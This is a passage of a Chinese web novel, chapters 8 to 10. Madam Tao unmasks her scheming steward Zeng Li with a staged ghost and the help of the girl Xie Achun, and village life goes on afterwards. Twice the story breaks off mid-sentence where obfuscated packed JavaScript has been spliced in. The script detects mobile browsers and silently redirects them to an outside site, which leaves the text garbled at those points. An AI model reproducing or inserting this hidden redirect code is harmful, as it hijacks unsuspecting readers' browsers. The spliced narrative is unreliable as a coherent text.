跪着的陌生男人双手背缚身后,低头望着青花砖,神色纹丝不动:“夫人,不是小人不愿,而是夫人说的那些侵吞府上田宅、做假账这些事,曾管事和小人都没做过,又要承认什么?” 陶母:“你倒是忠心,只可惜你这样为曾立做事,他自己在外头养妾蓄妓,赚得盆满钵满,你却还是个小小护院,我不知你怎能忍得。” 梁天:“小人不知曾管事如何,但小人做分内之事,拿的也是分内之钱,蒙夫人体恤,给的月钱也宽裕,一人花用足矣,梁天别无他求。” 陶母道:“你确实不爱钱,曾立想来也是看中你这一点……好,便是此事你不认,但此人方才指认你与他勾结,偷盗府中财物,如今人赃并获,这件事你总得认吧?” 谢阿春心道她果然没猜错,那贼确实是陶母安排好的,为的似乎就是给这个梁天下套,只是不知究竟为了什么? 梁天低着头不说话。 “无妨,若是忘了,可以让他再替你回忆一遍。” 陶母看了一眼那贼人,男人顿时伏地痛哭,一副悔不当初的模样。 “夫人饶命,小的当真是迫不得已,外头赌债欠得太多,庄家说这几日再不还钱,就叫小的脑袋分家,可那些钱利滚利的,早成了天价,小的实在还不起——” 陶母打断他声色并茂的哭诉:“直说你如何找上梁天的。” “是,夫人,”男人抹了抹眼泪,“上个月,梁天去城里采买,遇上了小的妹妹,两人不知怎的就看上了眼,梁天有意娶她,小的知道他给有钱人做事,就动了念头,说要是他能替小的还了赌债,小的就把妹妹许给他。” “梁天说他没那么多钱,小的便叫他从府里拿些值钱的,典当出去,他一开始不愿意,架不住小的拿妹妹要挟,就答应替小的偷来库房钥匙,到时候他引开看守,小的去拿东西,事成便从约定的小路出府,自有他调走巡逻的护院。” 陶母道:“口说无凭,你可有证据?” “有,有!”男人从怀里掏出一张纸,“梁天怕小的出尔反尔,不把妹妹许给他,还让小的写下了这张契。” 一名年纪稍长的婢女上前接过,递给陶母,后者只扫了一眼,便道:“梁天,你还有什么话说?” 梁天神色挣扎了一番,终究垂了头:“……无话可说,小人认罪。” 陶母笑了笑,指甲轻敲扶手:“先别急着认,这偷窃之罪如何判刑,想来你不太了解,碧云,与他说说。” 方才那名婢女前迈一步,扬声道:“依大燕律例,盗窃财物一贯以下,杖八十;一贯以上,杖一百、刺字;若满二十贯钱,施以绞刑。奴仆背主,罪加一等。” “绞刑”二字一出,谢阿春清楚地看到梁天抖了一下。 陶母站起身,步下石阶,在梁天身前来回踱步。 “梁天,你是个重情义的,四年前在舒城,你母病重,曾立替她延医问诊,你父生前好赌,败光家财,欠下的赌债堆积如山,曾立替你还了,还把你招进府里做护院,让你有了营生,你记他的恩,我都知道。” “你不贪不赌,为人正直,我也十分看好你,给你的月钱一涨再涨,来山阴后,更是提拔你做了护院总管,你记曾立的恩,那我待你如何,你又是否记得?” 梁天唇角绷紧,深深叩首:“夫人待小人不薄,这些年小人都记得。” 陶母缓声道:“我知你本性不坏,不然给曾立做事这些年,你不可能连户宅子也买不起。” 梁天眼神里流露出一丝愧色。 “可你在坚持什么?”陶母忽然站定脚步,“你已经做了背主之事,又替曾立暗中敛财,不管从不从中拿些好处,你的手都不再干净,你父为了钱财不顾妻儿,用尽下作手段,那你呢?” 谢阿春眼尖地看到梁天的手攥成了拳。 “世人都说钱财乃身外之物,可能真正看开的人没有几个,人追求什么,就会为什么所困,困而不得,就会露出人性最丑陋的一面。”陶母道,“你父亲就是例子,暴虐,残忍,贪婪,为了钱财,他连妻儿都能打,他是不是还曾想卖过你和你娘亲——” 陶母一指那男贼:“就和他想卖掉他妹妹一样?” 梁天的身躯渐渐颤抖。 “人的欲望是无底洞,一旦开启就会愈陷愈深,”陶母盯着他,“你以为自己还没跳进那个洞,你一遍遍告诉自己,你是在为母报恩,替己还债,可你早就已经身在其中了。” 梁天的额头冒起了青筋,分不清汗还是泪的水渍浸满他的脸,他整个人都像支撑不住一般,剧烈地抖动。 “无论你把替曾立做的事粉饰得如何正义,都不能改变事实,那个你不愿直视,但没法欺骗自己的真相,”陶母厉声道,“就是你梁天,已经和那个你最痛恨的男人,根本没什么两样!” “不——”梁天嘶声嚎道,“不是,不是的!我和他不一样!” 他胸口猛烈起伏着,短短刹那,他浑身湿透,仿佛从水里捞起。 “我只是替他把那些地和宅子转移到他名下,他铺面做假账赚的那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“曾管事言之有理,”陶母道,“方才我还让碧云遣人去请,却不知管事何事耽搁,来的这样迟?” 曾管事道:“确实有些下人故意生事,不过都是些不入流的手段,不值一提。” 两人对视片刻,俱都一笑。 曾管事:“不知梁天因何触怒夫人,使夫人即便动用刑罚也要治他的罪?” “曾管事此言差矣,非是我屈打成招,梁天与人勾结,偷窃府中财物,方才已经认罪了。” “哦?竟有此事?”曾管事看向地上跪着的梁天,从曾管事出现开始,梁天就一动不动。 “梁天,你认罪了?” 梁天面如死灰,不发一言。 陶母面色阴沉,曾管事又问了其他几个仆役,众人俱都一般无二地沉默。 曾管事道:“既无人听见,梁天到底有罪还是无罪?夫人,若只凭贼人一家之言就给梁天定罪,恐怕难以服众啊。” 陶母神情难看地扯了扯嘴角,她今夜本寻了人拖住曾立,欲从梁天入手,套出曾立侵吞府上私产的口供,却没想到他来的这样快。 还是低估了。 陶母缓了片刻,正打算今日到此为止,过后从长计议,斜刺里忽然窜出一道洪亮的声音。 “他认罪了,我听到了。” 所有人的目光都向屋角投去。 陶清远吓了一跳,慌忙扯她衣角,谢阿春挣开他,走出阴影。 “他承认与人勾结偷窃,还说他替你暗中敛财好几年了,”谢阿春双手环胸,冲曾立抬了抬下巴,“说的就是你,老头儿。” 8. 第 8 章 一句话石破天惊,勉强维持的平静就这样突兀地打破了。 曾管事盯着她,面上和蔼,眼神里却殊无笑意:“原来是阿春小姐,这么晚了,阿春小姐为何在这里?” 谢阿春还没说话,陶清远忽然站出来:“是我叫阿春来的!”对上曾管事的视线,又嗖地躲回她身后。 陶母解围道:“阿春是我请来的客人——” 曾管事不等她说完,就冷声道:“夫人的客人未免太没规矩,这样大放厥词,污蔑老奴清白,夫人是否得给老奴一个交代?” 谢阿春故意用众人都能听见的声音道:“陶清远,你家到底谁做主啊。” 陶清远懵懵道:“是我娘吧……” “既然是你娘,怎么敢有下人找主子要交代?”谢阿春啧道,“老头儿,你安的什么心啊。” 曾管事面色难看:“黄口小儿安敢在此扰乱生事,来人——” 陶母上前一步,正好挡在谢阿春和他之间,笑道:“曾管事何必跟一个孩子置气,莫非真叫她说中,做过什么见不得人的事?” 曾管事沉声道:“老奴为陶家鞠躬尽瘁三十载,又为夫人鞍前马后,护持家业数年,如今夫人只因小儿戏言,就怀疑老奴,原本以为夫人只是年轻鲁莽,未曾想竟这般糊涂!” 这话说得丝毫不留余地,陶母脸色也冷了:“曾管事未免太放肆了些,可还记得这府里的主子是我?你身为府中总管,理当为下人做表率,当着主子的面如此言行失当,曾管事是否也该给我个交代?” “夫人大可治老奴一个不敬之罪,”曾管事昂然道,“但纵使僭越,老奴也要说!夫人新迁山阴,百废待兴,本是用人之际,夫人不思笼络人心,反倒胡乱疑心旧仆,还在府中私设公堂,这样胡来,怎能不乱?府中若乱,衰字也就在眼前!” 陶母大怒:“曾立,你这是在威胁我?” “老奴只是实话实说,忠言逆耳,听不听自由夫人。” 陶母拂袖道:“府上将来何等下场我不知道,但要是任凭你曾立继续呼风唤雨下去,我这个主子怕是先没好下场!” 曾管事扑通跪地:“夫人何出此等诛心之语!若是老奴差事有差错,夫人大可直言,何必用莫须有的罪名冤枉老奴!” “我冤枉你?”陶母道,“这么说,你当真没做过侵吞田宅,私造假账的事?” “老奴以性命担保——” “那远儿呢?”陶母忽然道。 她指向躲在谢阿春身后探头探脑的陶清远:“你敢不敢以性命担保,从没有想过暗害远儿?” 曾管事脊背一僵,庭院里突然陷入诡异的寂静。 “远儿素来听话,在舒城几年没出府,他都忍得了,为何才来山阴一个月,就不能忍了?” 陶母逼近两步,居高临下地看着他:“他胆子这样小,就算出府,又怎么敢去那么偏僻的地方。” “我想不明白,曾管事,你说呢?” 谢阿春心念电转,想起那日她掉进赵小宝陷阱里,陶清远出现的确实十分巧合。 她是常去那片林子,但陶清远住溪北,一个头回出门的少爷,怎么会跑那么远? 她扭头问陶清远:“你那天为何会去那么偏僻的地方?” 陶清远愣了愣,怯怯道:“我出去后,其实不知道去哪玩,我在桥那边见到一个人,他陪我玩了会儿捉迷藏,说这里没意思,问我要不要跟他去南边,山下有片林子,特别适合捉迷藏……” “你就真跟着去了?!” 陶清远缩了缩脖子,不明白她怎么这样生气:“是、是呀,可是后来他在林子里不见了,我就到处找,然后就遇见你了……” 没有什么地方比人迹罕至的密林,更适合一个幼童的“失踪”。 谢阿春忽然脊背发凉,那日在密林里,除了她和陶清远,真的没有第三个人了吗? 或许若不是阴差阳错掉进洞里,陶清远这会儿已经是一具尸体了,而尸体是不会说话的。 人们会以为,这就是一个不谙世事的富家少爷偷溜出门,被歹人或是野兽害死的意外罢了。 谢阿春越想越后怕,陶清远却像没事儿人一样,还有闲心关心她:“阿春,你怎么脸色这么难看,是不舒服吗?” 谢阿春实在懒得理他,转头看向陶母那边。 陶母绕着曾管事踱步:“谁引诱他去的溪南,又是谁唆使他偷溜出府,曾立,你是府中管事,理应对大小事宜无所不知,你说,这背后之人是谁?” 她忽然俯身,凑近道:“会不会是你呀?” “只要远儿死了,我这个寡妇就是真正的无依无靠了,我若再一死,这家产,还能归谁呢?曾管事?” “你口口声声帮着我分家脱身,但这其中,究竟是为了我和远儿,还是为了你更好地拿走无主的家产?” “在舒城时,我们孤儿寡母不得不仰仗你,分地之事悉数由你主掌,你说山阴这处老宅是陶家祖上旧产,将这里夸得万般好,可这里离庐江也是万般地远,便是发生点什么,陶家那些人想必也听不到一点风声,曾立,你从一开始就算好了一切。” “原来这宅子以前就是你家的,”谢阿春想起那个传言,同陶清远小声道,“你家以前真有人做过大官儿?” 陶清远想了想:“好像有,爹说起过,都是很久前的事儿了。” 另一边,曾管事突然抬头,竟是老泪纵横:“老奴不知夫人何时竟疑心老奴至此,欲加之罪,何患无辞,老奴百口莫辩。可小少爷是老奴看着长大的,老奴看见小少爷,就像看见二爷一样,又怎么会加害小少爷? 夫人纵使不信老奴,总信二爷,说句大不敬的话,老奴将二爷当儿子一般地疼,二爷去前,千叮万嘱,让老奴照顾好夫人与小少爷……” 谢阿春又同陶清远低声道:“二爷是谁?” “就是我爹,他在家行二。” 谢阿春“哦”了一声,蓦地听见一声震耳欲聋的嚎哭。 曾管事:“老奴这么些年,一刻不敢忘!不曾想老奴为二爷遗命奔忙数载,竟落得如此境地,二爷在天有灵——” “他若在天有灵,早叫你气活过来!”陶母气得大骂,“你竟还有脸提他!” 曾管事梗着脖子:“老奴对二爷忠心耿耿,冰心可鉴,怎无脸提!” 陶母连说了几个“好”字,来回踱步数次,蓦地拂袖登阶,喝道:“碧云,把刘老账房带过来!” 这名字一出,曾管事仿雷击一样地抬起了头,双眼圆睁,不可置信地看着碧云领着一个戴着兜帽,步履蹒跚的老人走进了院。 “不……不可能!”曾管事瞧见他,激动地竟从地上站了起来,“你不是刘丰!” “按住他。”陶母指挥左右两个仆役上前把他押回去,施施然坐回椅上。 “曾管事为何如此激动?刘老账房与你应是旧友,来山阴前,你说他年事已高,让我给他个恩典回乡,我念及你二人应许久未见,特意将他寻来,旧友重聚,怎么曾管事好像并不高兴?” 曾管事被两个仆役按着,依旧浑身紧绷,呼哧呼哧地喘着气,一双发红的眼睛饿鹫般盯着前方的老人,仿佛下一刻就要扑上去咬死猎物。 “他不是刘丰……”曾管事痉挛地伸着脖子,望向周围环着的仆人,“你们看不到吗?刘丰根本不长这样,你们都不认识吗?” 陶母笑吟吟道:“曾管事想必忘了,来山阴后,这府里的杂役仆人,都叫你换了一遍,不过是些新入府的人,哪里见过刘老账房呢。 “刘老账房掌管陶家账册多年,你到底有没有做过对不起我,对不起陶家,对不起二爷的事,问问他便知道了。” 刘丰行了一礼:“夫人,曾立此人,在陶家时便假借职位之便,暗中挪用府上钱款,私占田宅,我这里有本账册,已经悉数记录了。”他从披风里取出一本黄皮册子,递给了碧云。 曾管事爆发一阵大笑:“夫人,想要栽赃老奴,也总得拿出些实际的证据,他根本不是刘丰!这册子也不会是什么账本!你敢让他当着众人的面打开看看吗?” 有了那贼人的前车之鉴,谢阿春很快想到,这个所谓的刘老账房估计也是假的。若陶母有真的账本,哪里用得着这样兜圈?但如果人与账本都是假的,这招还有什么用? 从她的角度望过去,那老人通身披在黑色斗篷里,头脸都被兜帽遮着,看不清形容。 但他忽然动了。抬起一只枯瘦干瘪的手,缓缓拉下了兜帽,同一时刻,月光穿破层云照在他脸上,映出一张遍布烧疤的脸来。 身旁的陶清远倒吸一口冷气,抓紧谢阿春的衣角。 那张脸上,满是虬结暗红的疮疤,黑红的颜色仿佛凝固的血迹,整张脸几乎看不出原本的模样,不似人脸,混如地狱鬼面。 “这、这肯定不是刘叔……”陶清远牙关打架,“刘叔才不长这样……他、他怎么像个鬼一样,阿春,我害怕……” “你说什么?” “我害怕……” “不是这句,前一句。”谢阿春好像抓住了什么。 陶清远磕磕绊绊道:“像个鬼一样?” “我知道了。”谢阿春忽然站起身,“你在这里等我!” “阿春,你去哪儿!”陶清远看着她跑远,眼泪几乎要涌出来,“别把我自己留在这儿,我害怕——” 假刘丰却已经转过身了,只刹那间,方才还得意洋洋的曾管事突然噤了声。 “曾立,你不认识我了吗?”老人上前一步,“当初在舒城,我走那天,你还请我去酒楼喝酒。” 曾管事眼睛几乎要凸出眼眶,他跌坐在地,想往后爬,却被两个仆役按在原地,浑身抖若筛糠。 “不、你不是刘丰……”他颤抖地道,“刘丰已经,已经……不可能……” “我就是刘丰啊,你忘了,你请我喝完酒,说要送我,你把我送到城外,然后……”他忽然踉跄一步,像是这副老旧的身躯将要散架,“然后怎样,我怎么想不起来了,曾立,我想不起来了……” 他面露痛苦之色:“我想不起来了,曾立,我想不起来了……”斗篷下伸出一只枯瘦的手,抓向前方。 “你别过来……别过来!”曾管事不知按着他的仆役去了何处,他举目四顾,庭院里竟只剩他一人,他想起身,两条腿却不听使唤,只能往后爬。 手臂一紧,那只手还是抓住了他。 一股难以言喻的阴寒顺着手臂蔓延到全身,曾管事只觉得自己的喉咙也被冻住了,他张口欲叫,却发不出声响。 风声袭来,庭院里几盏灯笼毫无预兆地熄灭了,一阵仿佛儿童般的尖利笑声不知从何响起,曾管事一扭头,遍布虬疮的脸近在咫尺,咧开的嘴角几乎延伸到耳畔,露出一口森森白牙。 名为理智的弦终于绷断,曾管事突然露出凶相,扑上去一把掐住“刘丰”脖颈,恶狠狠道:“你不是已经烧死了吗,死人还不安分,还总缠着我!好啊,来啊!我能杀你一次,就能杀你第二次!” 他涨红着脸,双手不断收紧,“刘丰”双手胡乱挥舞,眼瞧着上气不接下气,一块石头不知从何处飞来,正中他脑门! 曾管事嘭地仰倒在地,眼冒金星。 灯笼一盏盏亮起,庭院里响起人的脚步声与咳嗽声。有人扶起“刘丰”,也有人走到他身边。 他费力地睁开眼,只见梁天垂着眼,神色复杂地看着他:“曾管事……你杀人了?” 曾管事脑子一片空白,他坐起身,只见陶母依旧坐在回廊下的椅子上,碧云站在她身侧,仆役们也都围了上来,面无表情地看着他。还有一个女孩,梳着双丫髻,手里抛着一块石头,见他望来,呲牙一乐。 假刘丰也被人扶起,坐到了一旁。 根本没有什么鬼。 曾管事嘴唇发白,颤抖不止,他分明回了人间,却觉得仍旧身在地狱。 “我早说过,人一旦沉沦在欲望里,就会变成自己都不认得的样子,”陶母淡淡道,“梁天,你现在信了吗?” 曾管事伸手想去抓梁天,却被他避开。梁天走到陶母身前,良久跪下,重重磕下一个头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644017|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小人全招。” …… 谢阿春捡回了几块刚才打灭灯笼的石块,把弹弓系回腰间,走到她和陶清远藏身的地方。 一眼还没找到人,细看才发现角落里有一个白团子,颤巍巍缩着。 谢阿春上前拍了拍:“喂,干嘛呢?” 陶清远一个哆嗦,回头见是她,立刻乳燕投林地扑了过来:“阿春,你去哪儿了!刚才有鬼,好吓人!” 谢阿春觉得短短时间,她好像就习惯陶清远这个爱抱人的毛病了,无奈道:“哪里有鬼?” 陶清远眼睛红得像兔子:“就是鬼!笑得可吓人了!” “是不是这样?”谢阿春掐着嗓子,学了个怪声儿。 陶清远愣住,推开她控诉道:“你还说不欺负我,你故意吓人!” “没吓你啊,谁知道你和那老头儿一样不禁吓。”谢阿春追着他又学了几次,陶清远捂着耳朵乱跑。 两人闹了一阵,陶母身边的丫鬟碧云走来,行礼道:“阿春小姐,夫人请你屋内一叙。” 陶清远有意见:“娘亲怎么不叫我?我也要去!” 碧云并不理会,遣人将不情不愿的陶清远送回去,等他一步三回头地走了,才道:“阿春小姐请随我来。” 梁天等人已经不知去了何处,堂屋里只有陶母一人坐在上首。 见了谢阿春,陶母眼睛一下亮了,笑着招呼:“阿春是吗,快来让我瞧瞧。” 谢阿春有些不自在,规矩地上前问好,陶母拉着她左看右看,眼里满是赞许:“今日多亏了你,真是个勇敢的好孩子,远儿有你一半的性子,我这个当娘的也不至于这样操心。” 谢阿春却低下了头:“我是不是差点坏了夫人的大事?” 陶母讶然:“这话从何说起?” “那会儿梁天不招供,夫人本来打算不和曾老头儿起冲突,”谢阿春道,“是不是我出来说的那句话,让夫人不得不用装神弄鬼的法子?” 陶母看她的眼神更是欣赏:“你怎么看出来的?” “装神弄鬼,毕竟有风险,要是曾老头儿没被吓着,夫人又和他撕破了脸,肯定不好收场。”谢阿春越说头越低。 陶母拍了拍她的手,霭声道:“不怪你,本来这也是我的后手,曾立当年有把柄落在刘丰手中,赶走他还不放心,竟把人骗出城外杀了,他作恶多端,肯定心虚。你年纪虽小,却能这样机敏思变,实属不易。” 又叹了口气:“你这样聪明,若是只能困在这小村子里,倒是可惜。” 谢阿春偷偷看了看她的神色,鼓起勇气道:“那夫人愿意教我些本事吗?” “我?我能教你什么呀?”陶母手帕捂着嘴笑。 谢阿春难得有些不好意思。其实她自从见陶母审讯梁天,又处置曾管事,心里便有说不出的感觉。 她好像看见了什么无形的东西——那东西既让人畏惧,又让人忍不住兴奋战栗。 她不知道这吸引她的究竟是什么,只能笼统地讲:“我觉得夫人方才威风极了。” 陶母乐不可支:“我这才哪到哪呀?再怎么威风,还是在这一亩三分的宅子里,若是能做个官,管它县令郡守还是刺史,都比这威风千万倍。” 谢阿春似懂非懂,脑子里却不由自主,开始幻想起自己像陶母一样站在上头,下面一群人低眉顺眼听她训话的场景来,越想越是神往。 “不过你这孩子确实莽撞了些,”陶母想了想,还是说了几句,“你有常人没有的勇气,这是好事,但人若想做成事,只有勇气是不够的。” “形势比人强时,需也得懂得蛰伏,不必事事争露锋芒。有能为你所用的人,且倚仗一二,凡能成事者,都不是只靠自己做成的,必然都懂得将一切为自己所用。但太过倚仗他人,容易养成祸患,这人啊,最终还是只能仰赖自个儿。” 她像是说给谢阿春,眼神却盯着虚空中一处,不知想到了哪里。 “瞧我,一说起来就没完了,”她回过神,笑笑,“你还小,与你说这些还太早……这会儿挺晚了,我派人去溪南跟你家人说一声,今夜就住在府上吧。” 谢阿春忙摇头:“不麻烦夫人,我还是回家吧。”要是不回去,还不知道谢平安要怎么啰嗦。 “好,那我叫人送你,”陶母道,“听说你今年十岁,也就比远儿大几个月,我姓邓,你便唤我邓姨吧,不用见外。” 谢阿春从善如流:“邓姨。” 陶母乐开了花:“好孩子,日后常来府上玩,远儿这孩子性子太像他爹,你多带带他,也让他胆子大些。” 谢阿春猛然想起自己今天来的目的,趁势道:“邓姨,那我明天早上能来找陶清远吗?我们村里小孩多,我想带他一块儿玩。” 邓夫人答应得十分爽快:“当然可以,跟着你我放心。” 谢阿春功成身退,回家后一夜好眠。 第二日,村口大榕树下,李铁柱坐在虬结的树根上,支着一条腿,有些烦躁地用枝条抽打着地上的尘土。 赵小宝几个小弟围坐在他旁边,时不时往村口张望,像极了几天前的谢阿春。 忽然,一个人喊道:“谢阿春来了!” 顿时,李铁柱蹭地站起来,几个小弟也纷纷跟着他凑上前。 谢阿春走到近前,双臂环胸,虽然没有说话,但眼角眉梢都是得意。 李铁柱将她上下打量一番,微不可察地松了口气:“我就知道你不傻,不会真去……” “谁说我没去?”谢阿春挑起一边眉毛,“我不仅去了陶家,还把陶家最值钱的宝贝带出来了。” 她故弄玄虚地竖起一根手指:“而且这宝贝,千金难买,世上仅此一个。” “吹牛吧!怎么可能?” “宝贝呢?拿出来看看啊!” “哎,她身后是谁……” 李铁柱也望向谢阿春身后,那人藏得严实,只能望见一片锦绣的衣角。 谢阿春咧嘴一笑,向旁一步,让出身后人全貌:“清远弟弟,和大家伙打个招呼吧!” 9. 第 9 章 一个月后。 立夏后,白日一天热过一天,水塘边的青蛙和螽斯叫得恼人,眼瞧着再过半个月就是端午,不少人家也开始着手采摘箬叶,提前晾晒,预备着包角黍。 正午的村口,太阳干辣辣地晒着,只有大榕树下还有一片遮凉的阴影。 以树干正中央为界,地上摆了两道由石子铺成的“楚河汉界”,将阴凉地一分为二。左边是谢阿春和陶清远、王二丫等人,右边自然归了李铁柱与他的一众小弟。 自从那天谢阿春把“陶家最值钱的宝贝”——陶家的小少爷如约带出,李铁柱就十分干脆地认了输,他的一群小弟倒是还想顽抗,但没人撑腰,只能作罢。 只是到底不愿改认她做老大,谢阿春和李铁柱也都没提这茬,榕树下的“楚河汉界”就这样出现了。 “陶清远,你今天又带了什么来呀?”王二丫等人围住陶清远,个个翘首以盼。 陶清远自从加入他们这个阵营,每次都不空手来,要么是时兴玩具,要么是新奇零嘴,总之都是清溪村这些乡里孩子不曾见过的,回回看得赵小宝等人眼热不已,又拉不下脸来要,只能偷瞄。 这会儿,一听见王二丫的话,李铁柱身边几个半大小孩都支棱起耳朵,装作无意远眺,实则余光盯准了这头。 被许多双期待的眼睛盯着,陶清远脸又红了红,他从袖子里掏出一个袋子,往外一倒,几块色泽澄黄,晶莹剔透的果脯掉在掌心,一股酸甜香气弥漫开来,几个年纪小的小孩都叫起来:“好香,这是什么呀?” 陶清远羞涩道:“是蜜饯,拿我家园子里之前结的青梅做的,这两天才做好,数量不多,我都带来了,咱们一人一个……” 众人欢呼一声,蜂拥而上,拈起一枚就往嘴里塞,嚼得腮帮子鼓鼓:“陶清远,你家还有园子,都种了什么呀?” 陶清远挠挠头:“我也不知道,其实我都不知道在哪,娘亲说是在后头山上……” 众人惊呼一声,十分艳羡,吃完蜜饯,陶清远又掏出一把炒松子,大家分食罢,便凑在一起踢蹴鞠,新的蹴鞠球也是陶清远带来的,用鹿皮制成,轻盈又充满弹性,表面还嵌了金丝,阳光下飞舞时金光灿灿,十分悦目。 王二丫也乐得把宝贝蹴鞠放回家,如今踢起球来十分卖力。 谢阿春惯常蹲在一旁看他们玩,不一会儿,陶清远忽然悄悄凑到她身旁,神神秘秘地往她手里塞了个东西。 谢阿春低头一看,是个小袋子,开口一瞧,竟然是满满一袋蜜饯。 见没人注意这里,陶清远凑到她耳边,用气声道:“专门给你留的,快藏起来,别让他们看到啦。” 说完一双圆眼亮晶晶地看着她,好像在等夸奖的小鹿。 手中的袋子还有温温的热度,也不知主人揣了它多久。谢阿春眨眨眼,收进怀里,也学着他的模样,神神秘秘凑到耳边:“知道了。” 陶清远一下躲远了,揉揉发红的耳朵:“好痒呀。” 谢阿春哈哈笑起来,一转头,正对上李铁柱望着这边的视线,见她看过来,李铁柱又倏地把头扭了过去,谢阿春恍惚觉得自己还听见个“哼”字。 没多久,李铁柱就站起身,一言不发地走了,几个小弟在后面喊:“老大,你去哪儿啊?今天这么早就走吗?” “铁柱哥最近咋了?” “不知道呀。” “好像他娘亲最近身体不得劲,铁柱哥可能烦这个呢。” 谢阿春这才反应过来,她似乎也有很久没和李铁柱说话了,原本以为李铁柱是不满她赢了赌约,原来是因为他娘么? 没多久,谢平安也来叫她回家吃饭,谢阿春走时,陶府的下人正好来接陶清远,榕树下的小孩也都各自散去了。 回到家,谢平安叫她去洗手,自己去张罗饭食。如今天气热了,谢阿春喜凉,谢平安就将饭菜晾得温些再去唤她,亦或做些凉拌菜系。今日谢平安就做了两样小菜,一道炒螺肉,一道凉拌苋菜,还有一碟之前晾晒的咸鱼干。 苋菜脆爽,螺肉鲜美,猪油的香气与盐巴、紫苏叶混在一起,是谢阿春过去几年里每个夏天的熟悉味道,但今日却吃出几分不同来。 谢阿春砸吧了两下嘴:“怎么有点酸酸的?” 谢平安道:“陶家今天来人送了两罐青梅酱,我试着往菜里加了些,他们说梅酱开胃,加点在菜里,酸香去腥还解腻,你觉得怎么样?” 谢阿春品了品:“苋菜还行,螺肉有些奇怪,下次少放……嗯,不过不难吃。” 谢平安自己也尝了一筷子:“是有点,那两罐梅酱还是留着给你做些零嘴……不知加点薄荷叶,做成饮子味道如何,听说那些大户人家还有用梅酱浸杏干,做蜜饯的,只是有点麻烦……” 谢阿春从怀里掏出一个袋子,啪地放在桌上,嘴里嚼饭不停,含糊说着:“喏,蜜饯。” 谢平安讶然:“哪里来的?” 谢阿春一边扒饭一边道:“陶清远给的,你要是喜欢,都给你好了。” 谢平安打开袋子,拈出一颗梅干,瞧了瞧外形,又放进嘴里嚼了嚼,沉思道:“嗯……肉韧不柴,酸味更胜些,看来要用初结果的梅子,做杏干怕是也要如此……” “说来陶家夫人这阵子对咱家照顾不少,我还不曾登门谢过,改天我抽个空去拜访一下陶夫人,顺便问问他们蜜饯做法……” 说着又把袋子系好,推还给她:“我不爱吃甜,你留着吧。” 谢阿春又捏了颗梅干塞进嘴里,忽然想到一事,叮嘱道:“邓姨不姓陶,你叫她邓夫人吧,万一叫错了,惹人家生气。” 谢平安笑弯了眼,欣慰道:“我们阿春也是长大了。好,听你的。” 谢阿春放下碗,一抹嘴:“我吃饱了。” 谢平安叫住她,从袖子里取出一条手帕:“给你新绣的,用它擦。” 谢阿春嘀咕着“麻烦”,却依旧接了过来。 这帕子和以往不同,拿在掌心十分轻软,帕子一角绣了两只新燕,还有一个小小的“春”字。 谢平安站起身去刷碗,见她研究那块帕子,便道:“用的是邓夫人之前给 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谢阿春莫名觉得鼻酸,心底生出一阵惧意:“谢平安,你别死呀,我以后少吃点,也不吃零嘴了,你留着钱去城里看大夫……” 谢平安终于反应过来,哭笑不得:“我好得很,只是从小不爱吃饭,你忘了娘小时候怎么说我。” 谢阿春半信半疑:“真的?” “真的,”谢平安叹了口气,扯下肩上的布巾擦了擦手,起身过来,取出手帕来擦了擦她眼角挂的泪珠,又摸了摸她的头,“我好着呢,别担心了。” 见谢阿春还是有些低落,他想了想,说道:“你看我比你高这么多,若是生病了,怎么可能长得比你还高?” 话音刚落,谢阿春就把他的手从脑袋上打掉,哼了一声,跑去菜园里浇水了。 谢平安笑眯眯地看着她,末了又缓缓叹了口气。 入夜睡前,谢平安照例给她拆了双丫髻,用篦子梳头发,而后看着她洗漱上床,谢阿春躺下时又道:“谢平安,你真的不会死吗?” 谢平安无奈,摸了摸她的头:“我不会……怎么今天老问这个?” “听说李铁柱的娘生病了……” 谢平安手一顿,长叹道:“原来因为这件事。” 谢平安道:“李婶确实生病了,不过你放心,只是小病,没什么大碍。人都会生病的,只好好好听大夫的话,不因为怕苦就不吃药,就会慢慢好起来的。” “睡吧。”谢平安又摸摸她的头,给她放好蚊帐,便出去了。 谢阿春睁眼瞧着床帐外趴的花蚊子,却迟迟睡不着,林婶和谢叔过世的时候,她还不怎么记事,今天却被勾起了一些埋藏在记忆深处的回忆。 半梦半醒间,也不知过了多久,忽然听见屋外传来叫喊声。 “阿春她哥,阿春她哥!睡了吗?” 这声音焦急而紧迫,一声声催命似的,谢阿春被吵醒,披上衣服出门时,谢平安也拉开了房门。 等两人赶到院门前,只见王二丫娘亲一脸慌张:“平安,铁柱娘不行了,你快去帮帮忙!” 10. 第 10 章 谢平安一边迅速穿好外衫,一边跟着王二丫娘往外走:“婶子别急,到底怎么回事,你慢慢说……阿春,你留家。” 谢阿春:“我也要去!” 谢平安跟她对视片刻,谢阿春一点不让,谢平安无奈,只好随她去。 三人步履匆匆地赶路,王二丫娘絮絮道:“你叔上县城今天没回来,我带着你弟弟妹妹刚睡下,就有人来拍门,震天阶地响,唬了我一跳!还以为是来了歹人,谁想到是铁柱,火烧眉毛似的和我说,他娘不行了,你说说,这邻里邻居的,我两家离得又近,哪有不帮的道理?我衣服没穿好就去了,到那儿一瞧,亲娘嘞!出气多进气少,这可咋办!” 谢平安道:“婶子病了有些时日了,家里没有救急的药?” 王二丫娘苦着脸道:“药都喂不进去呀,眼瞧着是个要不行的光景,村头老徐那个赤脚大夫刚刚也在,看了直摇头,要铁柱准备后事,铁柱这孩子性子也倔,把人打出去了,说要上城里找大夫,这深更半夜的,上哪儿去找大夫?就是要找,他一个小孩子,哪里放心……” 什么不行?什么后事?谢阿春跌跌撞撞地追在二人身后,越听越心慌。眼前飘起方才梦里漫天的白纸,谢阿春想叫谢平安走慢点,喉咙却像被堵住,喊不出一丝声音。 